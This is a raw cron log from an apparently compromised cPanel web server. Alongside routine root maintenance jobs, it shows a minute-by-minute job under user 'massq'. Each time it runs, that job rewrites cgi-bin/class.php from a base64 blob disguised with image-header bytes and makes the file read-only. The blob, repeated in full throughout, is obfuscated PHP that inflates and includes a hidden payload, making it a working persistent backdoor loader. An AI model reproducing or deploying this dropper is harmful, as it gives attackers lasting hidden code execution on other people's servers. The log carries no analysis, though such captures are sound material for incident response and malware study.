Nov 11 20:03:01 server CROND[26889]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:04:01 server CROND[27801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:05:01 server CROND[28640]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 11 20:05:01 server CROND[28641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:05:01 server CROND[28642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 20:05:01 server CROND[28644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:05:01 server CROND[28643]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 20:06:01 server CROND[29598]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:07:01 server CROND[30413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:08:01 server CROND[30988]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:09:01 server CROND[31985]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 20:09:01 server CROND[31986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:10:01 server CROND[461]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 20:10:01 server CROND[462]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 20:10:01 server CROND[463]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:10:01 server CROND[464]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:11:01 server CROND[1335]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:12:01 server CROND[2207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:12:01 server CROND[2208]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 20:13:01 server CROND[2956]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:14:01 server CROND[3774]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:15:01 server CROND[4683]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 20:15:01 server CROND[4685]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:15:01 server CROND[4686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:15:01 server CROND[4689]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
